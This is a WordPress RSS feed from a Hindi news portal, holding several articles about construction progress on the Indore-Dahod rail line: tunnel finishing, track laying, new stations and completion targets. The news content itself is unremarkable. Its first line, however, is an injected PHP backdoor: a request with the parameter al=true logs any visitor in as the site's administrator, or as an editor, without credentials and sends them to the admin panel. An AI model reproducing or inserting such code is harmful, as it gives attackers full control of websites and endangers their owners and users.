// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Indore-Dahod rail line – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 03 Apr 2025 03:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मध्यप्रदेश में नई रेललाइन का ट्रायल शुरु, 70 फीसदी काम पूरा https://pratyushaashakinayikiran.com/?p=145591 Thu, 03 Apr 2025 03:36:00 +0000 https://pratyushaashakinayikiran.com/?p=145591 इंदौर

 मध्यप्रदेश की इंदौर-दाहोद रेल लाइन का अलग-अलग चरणों में काम चल रहा है। कई जगह कार्यों में तेजी आई है। टीही से पीथमपुर के बीच मालगाड़ी के रूप में इंजन जब दौड़ने लगा तो लोगों की खुशी का ठिकाना नहीं रहा। हर कोई यह सोचने लगा कि रेलवे द्वारा ट्रायल किया जा रहा है। दरअसल, महत्वपूर्ण प्रोजेक्ट में इंदौर से टीही के बीच ट्रैक बनकर तैयार हो चुका है।

रेलवे स्टेशन के साथ हाईवे पर चल रहा काम

शहर में भी रेलवे के दो बड़े प्रोजेक्ट चल रहे हैं। इनमें नौगांव के क्षेत्र में आधुनिक रेलवे स्टेशन और इंदौर-अहमदाबाद नेशनल हाइवे पर ओवरब्रिज शामिल है। जानकारी के अुनसार धार रेलवे स्टेशन में दो मंजिला बिल्डिंग सहित वेटिंग हाल का काम 40 प्रतिशत पूरा हो चुका है। इसके अलावा 660 मीटर का ट्रेक भी बन रहा है।

इस पर रेल लाओ महासमिति के पूर्व प्रवक्ता डॉ. दीपक नाहर ने बताया कि टीही से टनल की ओर लुधियाना का इंजन एक मालगाड़ी से साबरमती से आयातित दर्जनों पटरियां लेकर चला, जो रविवार को पहुंचा। तकरीबन छह किमी के क्षेत्र में पटरी बिछाने का काम शुरू किया है। मालगाड़ी पर रखी पटरियों को नीचे उतारने के साथ ट्रैक पर रखा गया। इसमें 25 से अधिक कर्मचारी और मजदूर लगे हुए थे।
सूत्रों की मानें तो पीथमपुर के समीप टनल में साढ़े तीन किमी में पटरी बिछाने का काम अभी चल रहा है। यह कार्य अभी 70 फीसदी पूरा हुआ और शेष 30 प्रतिशत हिस्से में चल रहा है। टनल का काम पूरा होने के बाद पटरी बिछेगी।

रेलवे द्वारा 2026 तक इस प्रोजेक्ट को पूरा करने का दावा किया जा रहा है। हालांकि जिस स्पीड से यह काम चल रहा है, उसमें अधिक समय लगने की संभावना है। रेलवे द्वारा बनाया जा रहे हैं ओवर ब्रिज, अर्थ वर्क सहित अन्य काम में तेजी आई है।
ऐसे चल रहा काम

पीथमपुर और धार के बीच कई स्थानों पर अर्थवक और पटरी बिछाने का काम चल रहा है। स्लीपर बिछाने के बाद उस पटरी डाली जाती है। यह पटरी पुरानी होती है, जिसे रेलवे द्वारा बिछाया जाता है। इसमें काम पूरा होने के बाद तय समय पर एक मीटर लंबी पटरी बिछाई जाती है। रेलवे ने टीही से पीथमपुर के बीच के काम शुरू कर दिया है। तीन किलोमीटर के क्षेत्र की पटरी बदलने का काम शुरू हुआ है।

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पांच मशीनों की मदद से इंदौर-दाहोद रेल लाइन का काम समय पर पूरा होगा https://pratyushaashakinayikiran.com/?p=114298 Fri, 27 Dec 2024 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=114298 इंदौर
इंदौर-दाहोद नई रेल लाइन परियोजना को शुरू हुए करीब 11 साल हो चुके हैं, लेकिन 205 किमी लंबी रेल लाइन के प्रोजेक्ट में पिछले दो वर्षों में ही तेजी आई है। इस पूरी परियोजना में सबसे बड़ी अड़चन पीथमपुर स्थित 2.9 किमी लंबी सुरंग का प्रारंभिक कार्य पूरा हो चुका है।

अब फिनिशिंग का कार्य शुरू किया गया है। हर दिन सिर्फ छह मीटर हिस्से में ही फिनिशिंग की जा रही है। इस कारण इस परियोजना में देरी हो रही है। जल्द ही रेलवे यहां पांच मशीनें लगाकर हर दिन 48 मीटर फिनिशिंग का काम शुरू करेगा, ताकि मार्च माह तक यह काम पूरा किया जाकर ट्रैक बिछाने काम शुरू हो सके।

टनल में फिनिशिंग का काम जारी

जून माह में सुरंग के दोनों हिस्सों को आपस में मिला दिया गया था। इसके बाद टनल से पानी निकालने का काम शुरू कर दिया गया था। करीब दो माह पहले टनल के आंतरिक हिस्से में सीमेंट लेयर तैयार की गई। इसके बाद पिछले सप्ताह ही फिनिशिंग का काम शुरू किया गया है।

पानी का रिसाव रोकने का काम

इसमें पानी का रिसाव रोकने के लिए जेंट्री मशीन के माध्यम से वाटरप्रूफ जियो टैक्सटाइल और मेमरीन लगाई जा रही है। इसके बाद भी पानी का रिसाव हो तो ड्रेन लाइन भी बनाई गई है। शुरुआत में एक छह मीटर की जेंट्री मशीन के माध्यम से हर दिन छह मीटर हिस्से में फिनिशिंग का काम किया जा रहा है।

इस गति से काम होता है तो वर्षभर में ही टनल का काम पूरा नहीं होगा। इसलिए छह मीटर की एक अन्य जेंट्री मशीन और 12 मीटर की तीन जेंट्री मशीन जल्द शुरू की जाएगी, ताकि यह काम मार्च तक पूरा हो सके।

दुर्घटना होने पर रेस्क्यू के लिए बनेगी लिफ्ट

सुरंग के सेंटर पाइंट को फिलहाल खुला ही रखा गया है। फिनिशिंग और ट्रैक का काम पूरा होने पर इसे कवर कर दिया जाएगा। इसी जगह पर एक लिफ्ट भी लगाई जाएगी। जिसका उपयोग आपातकाल स्थिति में कर्मचारियों को नीचे भेजने और यात्रियों को बाहर निकालने के लिए होगा। बता दें कि इस बार बजट में प्रोजेक्ट के लिए 600 करोड़ रुपये मिले हैं।

पूरी परियोजना को 2027 तक पूरा करने का लक्ष्य

इस परियोजना का एक बड़ा हिस्सा आदिवासी अंचल को रेल सेवाओं से जोड़ेगा। परियोजना में पीथमपुर, सागौर, गुणावद, नौगांव, झाबुआ, पिटोल में नए रेलवे स्टेशन भवन, प्लेटफार्म आदि का निर्माण शुरू कर दिया है।

इसे 2027 तक पूरा करने का लक्ष्य है। साल 2008 में प्रोजेक्ट का शुभारंग हुआ था और काम साल 2013 में शुरू हुआ था। वर्तमान में 205 किमी लंबे इस प्रोजेक्ट में अलग-अलग हिस्सों में काम चल रहा है।

इंदौर-दाहोद नई रेल लाइन प्रोजेक्ट (205 किमी) को इंदौर-टिही (29 किमी), टिही-गुणावद (28 किमी), गुणावद-नौगांव (14 किमी), धार-अमझेरा (20 किमी), अमझेरा-सरदारपुर (20 किमी), सरदारपुर-झाबुआ (60 किमी) सेक्शन में बांटकर काम किया जा रहा है।

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इंदौर-दाहोद रेल लाइन प्रोजेक्ट ने पकड़ी रफ्तार, गुणावद तक अर्थवर्क पूरा, आधे हिस्से में बिछाया गया ट्रैक https://pratyushaashakinayikiran.com/?p=102403 Sun, 24 Nov 2024 19:15:00 +0000 https://pratyushaashakinayikiran.com/?p=102403 इंदौर
इंदौर-दाहोद रेल लाइन प्रोजेक्ट ने रफ्तार पकड़ ली है। टिही से गुणावद तक अर्थवर्क पूरा हो चुका है। वहीं गुणावद से धार के बीच अर्थवर्क का काम चल रहा है। रतलाम मंडल द्वारा प्रोजेक्ट के इस हिस्से को मार्च-2025 तक पूरा किया जाना था, लेकिन इस सेक्शन में बन रहे आरओबी निर्माण में हो रही देरी से मई-2025 तक यह सेक्शन ट्रेन संचालन के लिहाज से तैयार हो पाएगा।

उल्लेखनीय है कि साल 2008 में शुरू हुए इस प्रोजेक्ट का काम साल 2013 में शुरू हुआ था। वर्तमान में 205 किमी लंबे इस प्रोजेक्ट में अलग-अलग हिस्सों में काम चल रहा है। इंदौर-दाहोद नई रेल लाइन प्रोजेक्ट (205 किमी) को इंदौर-टिही (29 किमी), टिही-गुणावद (28 किमी), गुणावद-नौगाव (14 किमी), धार-अमझेरा (20 किमी), अमझेरा-सरदारपुर (20 किमी), सरदारपुर-झाबुआ (60 किमी) अलग-अगल सेक्शन में बांटकर काम किया जा रहा है।

इंदौर-टिही और दाहोद-कतवारा सेक्शन का काम पूरा हो चुका है। फिलहाल रेलवे टिही-गुणावद-नौगांव (धार) सेक्शन पर तेजी से काम कर रहा है। इस सेक्शन में नौ आरओबी बनने हैं। वर्तमान में टिही के पास टनल का काम तकरीबन पूरा होने को है। टिही से गुणावद तक अर्थवर्क पूरा हो चुका है। करीब 60 फीसदी हिस्से में पटरी भी बिछाई जा चुकी है।

मार्च 2025 तक ट्रेन चलाने का लक्ष्य
गुणावद रेलवे स्टेशन, यार्ड आदि का काम भी शुरू हो चुका है। वहीं गुणावद से नौगांव के बीच अर्थवर्क का काम तकरीबन पूरा हो चुका है। रतलाम मंडल ने पूर्व में इंदौर-नौगांव के बीच मार्च-2025 तक ट्रेन संचालन का लक्ष्य रखा था, लेकिन तकनीकी दिक्कतों के चलते यह काम मई-2025 तक पूरा होगा। इधर दाहोद के पास कतवारा से झाबुआ के बीच भी पटरी बिछाने का काम हो रहा है।

पूरी परियोजना को 2026 तक पूरा करना है
इस परियोजना का एक बड़ा हिस्सा आदिवासी अंचल को रेल सेवाओं से जोड़ेगा। इस लिहाज से यह परियोजना रेलवे के साथ गुजरात और मप्र राज्य के लिए भी काफी अहम है। इसलिए इसे अलग-अलग हिस्सों में बांटकर काम किया जा रहा है। परियोजना में सागौर, गुणावद, नौगांव, झाबुआ, पिटोल में नए रेलवे स्टेशन भवन, प्लेटफार्म आदि का निर्माण शुरू कर दिया है। पूरी परियोजना को 2026 तक पूरा करने का लक्ष्य है।

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रेलवे टिही से पीथमपुर सुरंग तक बिछेगी रेल ट्रेक, इंदौर से दाहोद तक बनेंगे 22 रेलवे स्टेशन https://pratyushaashakinayikiran.com/?p=63983 Fri, 30 Aug 2024 09:10:00 +0000 https://pratyushaashakinayikiran.com/?p=63983  इंदौर

 इंदौर-दाहोद नई रेल लाइन प्रोजेक्ट को शुरू हुए करीब 11 साल हो चुके हैं। मगर, 205 किमी लंबी रेल लाइन के प्रोजेक्ट में पिछले दो वर्षों में गति आई है। इस पूरे प्रोजेक्ट में सबसे बड़ी अड़चन पीथमपुर स्थित 2.9 किमी लंबी सुरंग का काम भी पूरा हो चुका है।

अब रेलवे इंदौर से धार तक काम को मार्च तक पूरा करने के लिए लक्ष्य के साथ काम कर रहा है। इसमें टिही रेलवे स्टेशन से सुरंग के पी-वन तक रेल लाइन बिछाने का काम भी शुरू कर दिया गया है। वहीं, सुरंग के 2.9 किमी के हिस्से में मेट्रो की तर्ज पर बैलास्टलेस ट्रैक बिछाने का काम भी शुरू हो चुका है।

ट्रैक बिछाने का काम शुरू

फिलहाल डिजाइन फाइनल हो चुका है। ट्रैक बिछाने का काम भी शुरू हो रहा है। बता दें कि पिछले महीने ही पश्चिम रेलवे के महाप्रबंधक ने इस सुरंग का निरीक्षण किया था। 205 किमी के इस प्रोजेक्ट में अब तक इंदौर-टिही, दाहोद-कतवारा और पीथमपुर-सागौर रेलखंड पर काम पूरा हो चुका है।

रेलवे अफसरों के अनुसार, पिछले महीने ही सुरंग के दोनों हिस्सों को आपस में मिला दिया गया था। इसके बाद एजेंसी फिनिशिंग का काम कर रही है। वहीं पटरी बिछाने के लिए नई एजेंसी को करीब 18 करोड़ रुपये का टेंडर दिया गया है।

कंपनी यहां मेट्रो ट्रैक की तर्ज पर बैलास्टलेस ट्रैक बिछाएगी। जिसके लिए डिजाइन तैयार कर लिया गया है। इधर टिही से सुरंग के पी-वन हिस्से तक रेल लाइन बिछाने का काम भी शुरू हो चुका है।

600 करोड़ रुपये मिले हैं बजट में

इस बार बजट में प्रोजेक्ट के लिए 600 करोड़ रुपये मिले हैं। जिसके बाद रेलवे ने सागौर, गुणावद, नौगांव, झाबुआ, पिटोल में नई रेलवे स्टेशन बिल्डिंग, प्लेटफार्म आदि का निर्माण शुरू कर दिया है।

प्रोजेक्ट में इंदौर से दाहोद तक 22 रेलवे स्टेशन बनेंगे। सागौर से नौगांव (धार) तक 37 किमी का काम मार्च के पहले पूरा करने का लक्ष्य रखा गया है।

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